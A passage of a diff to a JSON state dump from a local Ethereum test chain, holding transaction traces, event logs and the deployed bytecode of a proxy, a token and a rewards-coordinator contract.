1b0381111561031757600080fd5b8301601f8101851361032857600080fd5b80516001600160401b0381111561034157610341610297565b604051601f8201601f19908116603f011681016001600160401b038111828210171561036f5761036f610297565b60405281815282820160200187101561038757600080fd5b6103988260208301602086016102ad565b8093505050509250929050565b600082516103b78184602087016102ad565b9190910192915050565b60208152600082518060208401526103e08160408501602087016102ad565b601f01601f19169190910160400192915050565b60b1806104026000396000f3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212202dd01612413adc0c572cad69197d98ec728867505ddb51ad7f292ecfc4bfb6a164736f6c634300081c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000064c0c53b8b0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e800000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d99550000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc00000000000000000000000000000000000000000000000000000000","output":"0x608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212202dd01612413adc0c572cad69197d98ec728867505ddb51ad7f292ecfc4bfb6a164736f6c634300081c0033","gas_used":161013,"gas_limit":231506,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba3"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","address":"0x2bdcc0de6be1f7d2ee689a0342d76f52e8efaba3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xc0c53b8b0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e800000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d99550000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc","output":"0x","gas_used":97510,"gas_limit":200482,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d9955"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2}]}],"exit":"Return","out":"0x608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212202dd01612413adc0c572cad69197d98ec728867505ddb51ad7f292ecfc4bfb6a164736f6c634300081c0033","nonce":56,"gas_used":235377},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x39771","logs":[{"address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba3"],"data":"0x"},{"address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d9955"],"data":"0x"},{"address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000800000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000002200001000000000400000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400002000000000000000000000000001000000000020000000200000000000040000040000002000000001000000000020000000000080000000000000000000000000000000000000000000000400000000"},"block_hash":"0x857a18a67db1323310b950e969b25936daa32b08780df4c9013bd35b3c84701d","block_number":15},{"info":{"transaction_hash":"0x915e9f826dc9f67ede8161a0b96a52b57472804f5d53d99568b80d3cdf6546ec","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe60000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":98625,"gas_limit":154991,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084cf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":92267,"gas_limit":146358,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","address":"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xcf756fdf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":79302,"gas_limit":131526,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":24,"gas_used":121873},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1dc11","logs":[{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f6","0x0000000000000000000000000000000000000000000000000000000000000000"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x000000000400000000000000400000004000000000000000008000000000000000000000000000000000000000000000000000000080001000000000000000000000000000000000000004000000020000010000000000000002000000000000000000000200000400000001008008000000040000000000000000000000004000000001000000000000000000000000008000000000c0000000000000000000000000000000000000000000000440000000000000000000000000000000008000000020400000200000000000040000010000002008000000000000000020000000000000000000000000000000000000000000000000000000000000400000"},"block_hash":"0x779004e829c9c04f554cee3ea7aa3dec86c97479e1e767deca9aff40423b5f80","block_number":16}],"historical_states":null} \ No newline at end of file +{"block":{"number":"0x14","coinbase":"0x0000000000000000000000000000000000000000","timestamp":"0x6735270f","gas_limit":"0x1c9c380","basefee":"0x5f5dadb","difficulty":"0x0","prevrandao":"0x8c77485a2c5b71d2b745b6448fb141d9853027b9e0f9d4ea8d7d5324d705d48d","blob_excess_gas_and_price":{"excess_blob_gas":0,"blob_gasprice":1}},"accounts":{"0x0000000000000000000000000000000000000000":{"nonce":0,"balance":"0x36c1d5f","code":"0x","storage":{}},"0x0165878a594ca255338adfa4d48449f69242eb8f":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x0000000000000000000000000000000000000000000000000000000000000065":"0x000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512","0x0000000000000000000000000000000000000000000000000000000000000066":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000c9":"0x94af000f6f71feb2b8401e668d95fd208038580e89d240930f90ba827aa34858","0x00000000000000000000000000000000000000000000000000000000000000cb":"0x000003e80000000000001c2018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0x09635f643e140090a9a8dcd712ed6285858cebef":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033","storage":{}},"0x0b306bf915c4d645ff596e518faf3f9669b97016":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a4505050505